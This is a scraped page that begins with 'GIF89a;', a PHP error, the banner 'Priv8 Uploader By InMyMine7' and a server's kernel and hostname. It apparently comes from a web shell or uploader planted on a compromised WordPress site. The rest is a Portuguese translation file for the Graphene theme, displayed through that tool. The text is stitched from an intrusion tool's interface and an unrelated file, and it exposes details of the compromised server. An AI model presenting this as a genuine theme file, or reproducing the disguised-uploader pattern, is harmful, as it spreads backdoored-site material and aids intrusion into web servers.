GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
msgid "" msgstr "" "Project-Id-Version: Graphene 1.0 theme for WordPress\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2011-09-06 10:34+1200\n" "PO-Revision-Date: 2011-09-16 23:55-0300\n" "Last-Translator: Leonardo Antonioli <leo@tobeguarany.com>\n" "Language-Team: Leonardo Antonioli <leo@tobeguarany.com>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-KeywordsList: __;_e;_n\n" "X-Poedit-Basepath: D:\\[[MyVault]]\\MyProjects\\[Websites]\\wordpress-theme-test\\site\\wp-content\\themes\\graphene\\\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Poedit-SourceCharset: utf-8\n" "X-Poedit-Language: Portuguese\n" "X-Poedit-Country: BRAZIL\n" "X-Poedit-SearchPath-0: .\n" #: 404.php:20 #, php-format msgid "Searching for: <span>%s</span>" msgstr "Pesquisando: <span>%s</span>" #: 404.php:26 #: search-404.php:3 msgid "Error 404 - Page Not Found" msgstr "Erro 404 - Página não encontrada" #: 404.php:28 #: search-404.php:5 msgid "Sorry, I've looked everywhere but I can't find the page you're looking for." msgstr "Desculpe. Procurei em todo lugar, mas não encontre a página que você buscava." #: 404.php:29 #: search-404.php:6 msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:" msgstr "Se você chegou aqui a partir de outro site, talvez nós tenhamos removido ou renomado a página. Você pode tentar encontrá-la através da busca:" #: 404.php:37 msgid "Automated search" msgstr "Busca automática" #: 404.php:40 #, php-format msgid "Searching for the terms <strong>%s</strong> ..." msgstr "Pesquisando os termos <strong>%s</strong>..." #: archive.php:25 #, php-format msgid "Daily Archive: <span>%s</span>" msgstr "Arquivo por dia: <span>%s</span>" #: archive.php:27 #, php-format msgid "Monthly Archive: <span>%s</span>" msgstr "Arquivo por mês: <span>%s</span>" #: archive.php:29 msgid "F Y" msgstr "F Y" #: archive.php:31 #, php-format msgid "Yearly Archive: <span>%s</span>" msgstr "Arquivo por ano: <span>%s</span>" #: archive.php:33 #: category.php:14 #, php-format msgid "Category Archive: <span>%s</span>" msgstr "Arquivo por categoria: <span>%s</span>" #: archive.php:35 msgid "Blog Archive" msgstr "Arquivo do blog" #: author.php:33 msgid "Author's posts listings" msgstr "Listas de posts do autor" #: comments.php:26 msgid "This post is password protected. Enter the password to view any comments." msgstr "Este post está protegido por senha. Digite a senha para ver os comentários." #: comments.php:49 #: loop-author.php:85 #: loop.php:185 msgid "1 comment" msgstr "1 comentário" #: comments.php:49 #: loop-author.php:85 #: loop.php:185 #, php-format msgid "% comments" msgstr "% comentários" #: comments.php:50 msgid "1 ping" msgstr "1 menção" #: comments.php:50 msgid "% pings" msgstr "% menções" #: comments.php:103 msgid "Comments have been disabled." msgstr "Comentários foram desabilitados." #: comments.php:118 #, php-format msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s" msgstr "Você pode usar estas tags e atributos <abbr title=\"HyperText Markup Language\">HTML</abbr>: %s" #: comments.php:123 msgid "Your email address will not be published." msgstr "Seu e-mail não será publicado." #: comments.php:126 #: functions.php:1341 msgid "Submit Comment" msgstr "Enviar comentário" #: footer.php:40 msgid "Copyright" msgstr "Copyright" #: footer.php:43 msgid "Except where otherwise noted, content on this site is licensed under a <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons Licence</a>." msgstr "Exceto quando disposto em contrário, o conteúdo deste site é licenciado sob <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/deed.pt_BR\">Licença Creative Commons</a>." #: footer.php:53 msgid "Creative Commons Licence BY-NC-ND" msgstr "Licença Creative Commons BY-NC-ND" #: footer.php:74 msgid "Return to top" msgstr "Voltar ao topo" #: footer.php:83 #, php-format msgid "Powered by %1$s and the %2$s." msgstr "Powered by %1$s and the %2$s." #: footer.php:83 msgid "Graphene Theme" msgstr "Graphene Theme" #: functions.php:176 msgid "Header Menu" msgstr "Menu superior" #: functions.php:177 msgid "Secondary Menu" msgstr "Menu secundário" #: functions.php:178 msgid "Footer Menu" msgstr "Menu do rodapé" #: functions.php:220 msgid "Header image by Syahir Hakim" msgstr "Imagem do cabeçalho por Syahir Hakim" #: functions.php:224 msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu" msgstr "Esta é a imagem padrão do tema Graphene, recorte de uma imagem de Quantin Houyoux em sxc.hu" #: functions.php:228 #: functions.php:232 #: functions.php:236 #: functions.php:240 #: functions.php:244 msgid "Header image cropped from image by Ilco at sxc.hu" msgstr "Imagem de cabeçalho recortada de uma imagem de Ilco em sxc.hu" #: functions.php:727 msgid "Home" msgstr "Início" #: functions.php:830 msgid "says:" msgstr "disse:" #: functions.php:836 #, php-format msgid "%1$s at %2$s" msgstr "%1$s em %2$s" #: functions.php:838 msgid "Edit comment" msgstr "Editar comentário" #: functions.php:842 msgid "Reply" msgstr "Responder" #: functions.php:853 msgid "Your comment is awaiting moderation." msgstr "Seu comentário está aguardando revisão." #: functions.php:950 msgid "Sidebar Widget Area" msgstr "Widgets da Barra Lateral" #: functions.php:952 msgid "The first sidebar widget area (available in two and three column layouts)." msgstr "A primeira área de widgets da barra lateral (disponível nos layouts de duas e três colunas)." #: functions.php:959 msgid "Sidebar Two Widget Area" msgstr "Widgets da Barra Lateral" #: functions.php:961 msgid "The second sidebar widget area (only available in three column layouts)." msgstr "A segunda área de widgets da barra lateral (disponível apenas no layout de três colunas)." #: functions.php:968 msgid "Footer Widget Area" msgstr "Widgets do Rodapé" #: functions.php:970 msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "A área de widgets do rodapé. Deixe vazia para desabilitar. Defina o número de colunas a exibir nas Opções de Exibição do tema." #: functions.php:985 msgid "Front Page Sidebar Widget Area" msgstr "Barra Lateral da Página Inicial" #: functions.php:987 msgid "The first sidebar widget area that will only be displayed on the front page." msgstr "A primeira área de widgets da barra lateral, exibida apenas na página inicial." #: functions.php:994 msgid "Front Page Sidebar Two Widget Area" msgstr "Widgets II da Barra Lateral na Página Inicial" #: functions.php:996 msgid "The second sidebar widget area that will only be displayed on the front page." msgstr "A segunda área de widgets da barra lateral, exibida apenas na página inicial." #: functions.php:1005 msgid "Front Page Footer Widget Area" msgstr "Rodapé da Página Inicial" #: functions.php:1007 msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "A área de widgets do rodapé, exibida apenas na página inicial. Deixe vazia para desabilitar. Defina o número de colunas a exibir nas Opções de Exibição do tema." #: functions.php:1017 msgid "Header Widget Area" msgstr "Widgets do Cabeçalho" #: functions.php:1019 msgid "The header widget area." msgstr "A área de widgets do cabeçalho." #: functions.php:1035 #, php-format msgid "Dynamically added widget area. This widget area is attached to the %s action hook." msgstr "Área de widgets adicionada dinamicamente. Esta área de widgets foi anexada ao action hook %s." #: functions.php:1105 msgid "Display the latest Twitter status updates." msgstr "Exibir últimas atualizações do Twitter." #: functions.php:1137 msgid "Loading tweets..." msgstr "Carregando tweets..." #: functions.php:1141 msgid "Follow me on Twitter" msgstr "Siga-me no Twitter" #: functions.php:1153 msgid "follower" msgstr "seguidor" #: functions.php:1154 msgid "followers" msgstr "seguidores" #: functions.php:1185 msgid "Latest tweets" msgstr "Últimos tweets" #: functions.php:1192 msgid "Title:" msgstr "Título:" #: functions.php:1196 msgid "Twitter Username:" msgstr "Nome de usuário do Twitter:" #: functions.php:1200 msgid "Number of tweets to display:" msgstr "Número de tweets a exibir:" #: functions.php:1204 msgid "Show followers count" msgstr "Exibir contador de seguidores" #: functions.php:1208 msgid "Open links in new window" msgstr "Abrir links em novas janelas" #: functions.php:1256 msgid "Graphene Options" msgstr "Graphene: opções" #: functions.php:1257 msgid "Graphene FAQs" msgstr "Graphene: FAQs" #: functions.php:1290 msgid "Toggle all tabs" msgstr "Exibir/esconder todas as seções" #: functions.php:1322 msgid "Name:" msgstr "Nome:" #: functions.php:1323 msgid "Email:" msgstr "E-mail:" #: functions.php:1324 msgid "Website:" msgstr "Website:" #: functions.php:1334 msgid "Message:" msgstr "Mensagem:" #: functions.php:1363 msgid "Continue reading »" msgstr "Continue lendo »" #: functions.php:1415 msgid "Older posts «" msgstr "Posts mais antigos «" #: functions.php:1416 msgid "» Newer posts" msgstr "» Posts mais novos" #: functions.php:1418 msgid "Next page »" msgstr "Próxima página »" #: functions.php:1419 msgid "« Previous page" msgstr "« Página anterior" #: functions.php:1633 msgid "View full post" msgstr "Leia mais" #: functions.php:1772 msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>" msgstr "<strong>ERRO: Ao chamar a função graphene_get_post_image(), você deve fornecer como argumento o ID do post do qual pegar a imagem.</strong>" #: functions.php:2135 msgid "Template preview not found." msgstr "Pré-visualização de modelo não encontrada." #: functions.php:2138 msgid "default" msgstr "padrão" #: functions.php:2194 #: functions.php:2198 msgid "Theme default" msgstr "Padrão do tema" #: functions.php:2264 msgid "ERROR: You are not authorised to perform that operation" msgstr "ERRO: você não está autorizado a executar esta operação" #: functions.php:2437 #: functions.php:2448 #: functions.php:2457 #: loop-children.php:41 #: loop-children.php:49 #: loop-post-formats.php:32 #: loop.php:71 #: loop.php:150 #, php-format msgid "Permalink to %s" msgstr "Link permanente para %s" #: functions.php:2457 msgid "Read more" msgstr "Leia mais" #: functions.php:2526 #, php-format msgid "Follow %s on Twitter" msgstr "Siga %s no Twitter" #: functions.php:2529 #, php-format msgid "Visit %s's Facebook page" msgstr "Visitar Facebook de %s" #: functions.php:2551 #, php-format msgid "Visit %1$s's %2$s page" msgstr "Visitar a página de %1$s na rede %2$s" #: header.php:56 #, php-format msgid "Subscribe to %s's RSS feed" msgstr "Assinar o canal RSS de %s" #: header.php:56 msgid "Subscribe to RSS feed" msgstr "Assine o canal RSS" #: header.php:102 #: header.php:122 msgid "Go back to the front page" msgstr "Voltar à página inicial" #: loop-author.php:23 msgid "Author's details" msgstr "Detalhes do autor" #: loop-author.php:25 #, php-format msgid "<strong>Name:</strong> %1$s %2$s" msgstr "<strong>Nome:</strong> %1$s %2$s" #: loop-author.php:26 #, php-format msgid "<strong>Date registered:</strong> %1$s" msgstr "<strong>Data de registro:</strong> %1$s" #: loop-author.php:35 msgid "Biography" msgstr "Biografia" #: loop-author.php:52 msgid "Latest posts" msgstr "Últimos posts" #: loop-author.php:55 #: loop-author.php:85 #: search-404.php:24 #, php-format msgid "Permalink Link to %s" msgstr "Link permanente para %s" #: loop-author.php:55 #: loop-author.php:85 #: loop-children.php:41 #: loop-post-formats.php:32 #: loop.php:39 #: loop.php:71 msgid "(No title)" msgstr "(sem título)" #: loop-author.php:92 msgid "Most commented posts" msgstr "Posts mais comentados" #: loop-children.php:49 msgid "View page »" msgstr "Ver página »" #: loop-post-formats.php:15 msgid "Status update" msgstr "Status" #: loop-post-formats.php:16 msgid "Audio" msgstr "Áudio" #: loop-post-formats.php:17 msgid "Image" msgstr "Imagem" #: loop-post-formats.php:18 msgid "Video" msgstr "Vídeo" #: loop-post-formats.php:19 msgid "Post format" msgstr "Formato do post" #: loop-post-formats.php:28 msgid "l F j, Y" msgstr "l, d \\d\\e F \\d\\e Y" #: loop-post-formats.php:28 msgid "g:i A" msgstr "H:i" #: loop-post-formats.php:38 #: loop.php:102 msgid "Edit post" msgstr "Editar post" #: loop-post-formats.php:78 #, php-format msgid "Posted on: %s" msgstr "Enviado em: %s" #: loop-post-formats.php:78 msgid "F j, Y" msgstr "d \\d\\e F \\d\\e Y" #: loop.php:81 msgid "Categories:" msgstr "Categorias:" #: loop.php:92 msgid "Print this page" msgstr "Imprimir esta página" #: loop.php:119 msgid "by" msgstr "por" #: loop.php:145 msgid "Read the rest of this entry »" msgstr "Leia mais »" #: loop.php:163 msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> " msgstr "<div class=\"link-pages\"><p><strong>Páginas:</strong> " #: loop.php:173 msgid "Tags:" msgstr "Tags:" #: loop.php:173 msgid "This post has no tag" msgstr "Este post não tem tags" #: loop.php:185 msgid "Leave comment" msgstr "Faça um comentário" #: loop.php:200 msgid "About the author" msgstr "Sobre o autor" #: loop.php:217 msgid "Permanent link to this article:" msgstr "Link permanente para este artigo:" #: loop.php:248 msgid "Not found" msgstr "Nada encontrado" #: loop.php:253 msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?" msgstr "Desculpe, mas o que você procurava não está aqui. Quer tentar uma busca?" #: loop.php:255 msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?" msgstr "Desculpe, mas não encontramos resultados para sua palavra-chave. Quer tentar buscar por outra palavra?" #: search-404.php:14 msgid "Suggested results" msgstr "Resultados sugeridos" #: search-404.php:18 #, php-format msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:" msgstr "Fiz uma busca pelo termo %s para você. Veja se pode encontrar o que procurava na lista abaixo:" #: search-404.php:35 msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above." msgstr "<strong>Desculpe, não encontramos nada.</strong> Tente buscar por termos alternativos usando o formulário de pesquisa." #: search.php:11 #, php-format msgid "Search results for: <span>%s</span>" msgstr "Resultados de busca por: <span>%s</span>" #: searchform.php:3 #: searchform.php:4 msgid "Search" msgstr "Busca" #: sidebar-two.php:36 #: sidebar.php:42 msgid "Meta" msgstr "Meta" #: sidebar-two.php:41 #: sidebar.php:47 msgid "Posts RSS" msgstr "RSS dos posts" #: sidebar-two.php:42 #: sidebar.php:48 msgid "Comments RSS" msgstr "RSS dos comentários" #: sidebar-two.php:44 #: sidebar.php:50 #, php-format msgid "Powered by %s" msgstr "Powered by %s" #: sidebar-two.php:44 #: sidebar.php:50 msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform." msgstr "Powered by WordPress, o supra-sumo dos gerenciadores de conteúdo." #: sidebar-two.php:49 #: sidebar.php:35 msgid "Archives" msgstr "Arquivos" #: tag.php:14 #, php-format msgid "Tag Archive: <span>%s</span>" msgstr "Arquivo por tag: <span>%s</span>" #: admin/custom-fields.php:15 msgid "Graphene post-specific options" msgstr "Opções do Graphene específicas para posts" #: admin/custom-fields.php:16 msgid "Graphene page-specific options" msgstr "Opções do Graphene específicas para páginas" #: admin/custom-fields.php:98 msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page." msgstr "Estas configurações só serão aplicadas a este post ou página que você está editando. Elas substituirão as configurações globais feitas nas páginas de Opções e Exibição do Graphene." #: admin/custom-fields.php:99 msgid "Slider options" msgstr "Opções do Slider" #: admin/custom-fields.php:103 msgid "Slider image" msgstr "Imagem do Slider" #: admin/custom-fields.php:107 #: admin/custom-fields.php:133 #: admin/custom-fields.php:147 msgid "Use global setting" msgstr "Usar configuração global" #: admin/custom-fields.php:108 msgid "Don't show image" msgstr "Não exibir imagem" #: admin/custom-fields.php:109 msgid "Featured Image" msgstr "Imagem de destaque" #: admin/custom-fields.php:110 msgid "First image in post" msgstr "Primeira imagem do post" #: admin/custom-fields.php:111 msgid "Custom URL" msgstr "URL personalizada" #: admin/custom-fields.php:117 msgid "Custom slider image URL" msgstr "URL personalizada da imagem" #: admin/custom-fields.php:121 msgid "Make sure you select Custom URL in the slider image option above to use this custom url." msgstr "Selecione \"URL personalizada\" em \"Imagem do Slider\" para usar esse campo." #: admin/custom-fields.php:125 msgid "Display options" msgstr "Opções de Exibição" #: admin/custom-fields.php:129 msgid "AddThis Social Sharing button" msgstr "Botão de compartilhamento AddThis" #: admin/custom-fields.php:134 msgid "Show button" msgstr "Exibir botão" #: admin/custom-fields.php:135 msgid "Hide button" msgstr "Ocultar botão" #: admin/custom-fields.php:143 msgid "Post date display" msgstr "Exibição da Data do Post" #: admin/custom-fields.php:148 msgid "Hide date" msgstr "Ocultar data" #: admin/custom-fields.php:156 msgid "Navigation options" msgstr "Opções de Navegação" #: admin/custom-fields.php:160 msgid "Description" msgstr "Descrição" #: admin/custom-fields.php:164 msgid "Only required if you need a description in the navigation menu and you are not using a custom menu." msgstr "Necessário apenas se você precisa de uma descrição no menu de navegação e não está usando um menu personalizado." #: admin/faq.php:12 msgid "Graphene's Frequently Asked Questions" msgstr "Perguntas & Respostas sobre o Graphene" #: admin/faq.php:15 msgid "Where should I go for the theme's support?" msgstr "Onde devo procurar ajuda sobre o tema?" #: admin/faq.php:16 msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>." msgstr "Todo pedido de suporte deve ser feito no <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Fórum de Suporte</a> (em inglês)." #: admin/faq.php:19 msgid "The post's featured image is replacing my header image. Help!" msgstr "A imagem destacada do post está substituindo minha imagem de cabeçalho. Socorro!" #: admin/faq.php:20 msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages." msgstr "Na verdade, esta é uma das funcionalidades do tema, baseada no comportamento do tema padrão TwentyTen. Qualquer imagem destacada com tamanho maior ou igual a imagem do cabeçalho (960 x 198 pixels) irá substituir o cabeçalho no post/página a que está vinculada. Isto lhe permite ter diferentes imagens de cabeçalho para diferentes posts ou páginas." #: admin/faq.php:21 msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options." msgstr "Se você quiser desabilitar esta funcionalidade, marque a opção <em>Impedir que a imagem em destaque substitua a imagem de cabeçalho</em> na <a href=\"themes.php?page=graphene_options&tab=display\">aba \"Exibição\" da página de opções</a>." #: admin/faq.php:24 msgid "Can I modify Graphene to my heart's content without paying anything?" msgstr "Posso modificar o Graphene à vontade sem pagar nada?" #: admin/faq.php:25 msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2." msgstr "O tema Graphene para Wordpress, assim como todos os outros temas do Diretório de Temas Grátis do Wordpress.org, é lançado sob a licença GNU General Public License (GPL) Versão 2. O texto completo desta licença está incluído no tema, no arquivo <code>licence.txt</code>, na pasta do tema. Esta licença define, entre outras coisas, que você <em>tem a liberdade para modificar o tema de qualquer modo e com qualquer propósito (inclusive comercial)</em>, estando desobrigado para com o autor do tema. Entretanto, se você decidir redistribuí-lo, é necessário que você lance seu tema sob a mesma licença (GPLv2)." #: admin/faq.php:26 msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme." msgstr "Mas, é claro, o autor sempre ficará feliz com <a href=\"themes.php?page=graphene_options\">doações</a> para ajudar o constante desenvolvimento do tema." #: admin/faq.php:29 msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?" msgstr "Se o tema é licenciado sob GPLv2, o que a licença Creative Commons faz no rodapé do tema?" #: admin/faq.php:30 msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it." msgstr "Creative Commons é uma licença popular, que é usada por vários autores de conteúdo baseado na web para a proteção de suas propriedades intelectuais, ao mesmo tempo que permite uma livre distribuição. Está incluída no tema simplesmente para facilitar a vida dos usuários que desejem usá-la para proteger seu conteúdo. Os usuários podem remover essa licença na página de opções do tema caso não desejem usá-la." #: admin/faq.php:31 msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it." msgstr "Em outras palavras <em>esta não é a licença aplicada para o tema em si</em>, apenas para o conteúdo do website, caso o usuário do tema deseje usá-la." #: admin/faq.php:34 msgid "Is the theme compatible with this plugin or that plugin?" msgstr "O tema é compatível com este ou aquele plugin?" #: admin/faq.php:35 msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme." msgstr "Eu não sei. Com tantos plugins disponíveis para Wordpress, é impossível que eu (ou qualquer outra pessoa) possa testar a compatibilidade de todos. Apesar disso, o tema é entregue com todos os componentes necessários do Wordpress, então provavelmente a maioria dos plugins será compatível com o tema." #: admin/faq.php:36 msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support." msgstr "Sugiro que instale o plugin e teste. Se houver problema, peça ajuda primeiro ao autor do plugin. Se o autor do plugin disser que é um problema do tema, você sabe onde econtrará ajuda." #: admin/options-import.php:20 #: admin/options.php:1705 msgid "Import Graphene Theme Options" msgstr "Importar opções do tema Graphene" #: admin/options-import.php:63 msgid "Options import completed" msgstr "Importação das opções foi completada" #: admin/options-import.php:64 msgid "Go to the Graphene options page" msgstr "Ir para a página de opções do Graphene" #: admin/options-import.php:67 #: admin/options-import.php:72 #: admin/options-import.php:77 msgid "Sorry, there has been an error." msgstr "Desculpa, houve um erro." #: admin/options-import.php:68 msgid "The uploaded file does not contain valid Graphene options." msgstr "O arquivo enviado não contém opções válidas do Graphene." #: admin/options-import.php:73 msgid "The uploaded file could not be read." msgstr "O arquivo enviado não pode ser lido." #: admin/options-import.php:78 msgid "The uploaded file is not supported." msgstr "O arquivo enviado não é compatível." #: admin/options-import.php:86 msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini." msgstr "O arquivo está vazio. Por favor, envie algo mais substancial. Esse erro pode ser causado quando uploads estão desabilitados no seu php.ini ou quando post_max_size é menor do que upload_max_filesize no php.ini." #: admin/options-presets.php:36 msgid "The \"Normal website\" settings preset has been applied." msgstr "As configurações para \"site normal\" foram aplicadas." #: admin/options-presets.php:41 msgid "Settings have been reset." msgstr "Configurações retornadas ao padrão." #: admin/options.php:84 #: admin/uninstall.php:21 msgid "Uninstall Graphene" msgstr "Desinstalar Graphene" #: admin/options.php:85 msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted." msgstr "Por favor, confirme que você deseja desintalar o Graphene. Todas as opções do tema no banco de dados serão apagadas." #: admin/options.php:86 msgid "This action is not reversible." msgstr "Esta ação não pode ser desfeita." #: admin/options.php:90 #: admin/options.php:302 msgid "Uninstall Theme" msgstr "Desinstalar Tema" #: admin/options.php:104 msgid "Graphene Theme Options" msgstr "Opções do tema Graphene" #: admin/options.php:106 msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages." msgstr "Estas são configurações globais para o tema. Você pode individualizar algumas dessas opções nos próprios posts e páginas." #: admin/options.php:114 msgid "General" msgstr "Geral" #: admin/options.php:115 msgid "Display" msgstr "Exibição" #: admin/options.php:116 msgid "Advanced" msgstr "Avançado" #: admin/options.php:152 msgid "Save Options" msgstr "Salvar opções" #: admin/options.php:164 msgid "Support the developer" msgstr "Mostre sua gratidão ao desenvolvedor" #: admin/options.php:167 msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development." msgstr "Desenvolver este fantástico tema exigiu muito tempo e esforço, meses e meses de contínuo trabalho voluntário. Se você gosta desse tema ou se você está usando-o em sites comerciais, por favor considere fazer uma doação ao desenvolvedor para incentivar futuras atualizações e melhorias." #: admin/options.php:182 msgid "Graphene Usage Survey" msgstr "Pesquisa de uso do Graphene" #: admin/options.php:185 msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous." msgstr "Ajude-nos a te conhecer melhor. Responda agora à pesquisa de uso do tema Graphene! Toda opinião ajuda a fazer um tema melhor. A pesquisa é curta e completamente anônima." #: admin/options.php:186 msgid "Take the survey" msgstr "Responda à pesquisa" #: admin/options.php:196 msgid "Add-ons and plugins" msgstr "Add-ons e plugins" #: admin/options.php:199 msgid "Add-ons" msgstr "Add-ons" #: admin/options.php:200 msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability." msgstr "Add-ons não são entregues com o tema, mas podem ser instalados separadamente para expandir as funções do tema." #: admin/options.php:204 msgid "Installed" msgstr "Instalado" #: admin/options.php:205 #: admin/options.php:224 msgid "Not installed" msgstr "Não instalado" #: admin/options.php:205 msgid "Learn more" msgstr "Saiba mais" #: admin/options.php:206 msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices." msgstr "Extensão desenvolvida especificamente para melhor exibição do seu site em dispositivos móveis, tais como iPhone e aparelhos Android." #: admin/options.php:209 msgid "Plugins" msgstr "Plugins" #: admin/options.php:210 msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them." msgstr "O tema oferece suporte nativo aos plugins listados aqui. Tudo que você precisa fazer é instalá-los e ativá-los." #: admin/options.php:223 msgid "Activated" msgstr "Ativado" #: admin/options.php:236 msgid "Options Presets" msgstr "Opções pré-configuradas" #: admin/options.php:239 msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below." msgstr "As opções padrão do tema são pré-configuradas para blogs. Se você está usando este tema para um site normal ou se você quer resetar as configurações para o padrão, você pode aplicar uma das pré-configurações disponíveis abaixo." #: admin/options.php:240 msgid "Note that you can still configure the individual settings after you apply any preset." msgstr "Note que você ainda poderá configurar individualmente as opções após aplicar uma pré-configuração." #: admin/options.php:245 msgid "Select Options Preset" msgstr "Selecione as opções pré-configuradas" #: admin/options.php:248 msgid "Normal website" msgstr "Site normal" #: admin/options.php:251 msgid "Reset to default settings" msgstr "Resetar configuração padrão" #: admin/options.php:256 msgid "Apply Options Preset" msgstr "Aplicar opções pré-configuradas" #: admin/options.php:266 msgid "Import/export theme options" msgstr "Importar/exportar opções do tema" #: admin/options.php:270 msgid "Import" msgstr "Importar" #: admin/options.php:273 msgid "Import Theme options" msgstr "Importar opções do tema" #: admin/options.php:275 msgid "Export" msgstr "Exportar" #: admin/options.php:279 msgid "Export Theme options" msgstr "Exportar opções do tema" #: admin/options.php:282 #, php-format msgid "Import and export is only available for to users with PHP version 5.2.1 and higher. You are using PHP version %s." msgstr "Importar/exportar está disponível apenas para usuários com PHP versão 5.2.1 ou superior. Você está usando PHP versão %s." #: admin/options.php:292 msgid "Uninstall theme" msgstr "Desinstalar tema" #: admin/options.php:295 msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore." msgstr "<strong>Atenção!</strong> Desinstalar o tema removerá do banco de dados todas as opções do tema. Faça isso apenas se você decidir não usá-lo nunca mais." #: admin/options.php:296 msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page." msgstr "Se você quiser apenas testar um outro tema, não é necessário desinstalar este. Simplesmente ative o outro tema em Aparência > Temas." #: admin/options.php:297 msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there." msgstr "Desinstalar esse tema <strong>não removerá</strong> os arquivos do tema Graphene. Para apagar esses arquivos, após desinstalá-lo vá na página Aparência > Temas e apague o Graphene a partir de lá." #: admin/options.php:313 #: admin/options.php:1644 msgid "Preview" msgstr "Pré-visualização" #: admin/options.php:314 msgid "The preview will be updated when the \"Save Options\" button above is clicked." msgstr "Esta pré-visualização será atualizada quando o botão \"Salvar opções\" acima for clicado." #: admin/options.php:333 msgid "Slider Options" msgstr "Opções do Slider" #: admin/options.php:339 msgid "Disable slider" msgstr "Desabilitar Slider" #: admin/options.php:347 msgid "What do you want to show in the slider" msgstr "O que você quer exibir no Slider?" #: admin/options.php:351 msgid "Show latest posts" msgstr "Exibir últimos posts" #: admin/options.php:354 msgid "Show random posts" msgstr "Exibir posts aleatórios" #: admin/options.php:357 msgid "Show specific posts/pages" msgstr "Exibir posts/páginas específicos" #: admin/options.php:360 msgid "Show posts from categories" msgstr "Exibir posts de categorias" #: admin/options.php:365 #: admin/options.php:579 msgid "Posts and/or pages to display" msgstr "Posts e/ou páginas a exibir" #: admin/options.php:370 #: admin/options.php:584 msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>" msgstr "Digite os ID dos posts e/ou páginas a serem exibidos, separados por vírgulas. Exemplo: <code>1,13,45,33</code>" #: admin/options.php:371 msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above." msgstr "Aplicável somente se <strong>Exibir posts/páginas específicos</strong> for selecionado acima." #: admin/options.php:377 msgid "Categories to display" msgstr "Categorias a exibir" #: admin/options.php:378 msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here." msgstr "Todos os posts da categoria selecionada aqui serão exibidos no Slider. Sugestão: crie uma nova categoria \"Destaques\" e adicione todos os posts que deseja exibir no Slider a essa categoria. Selecione então essa 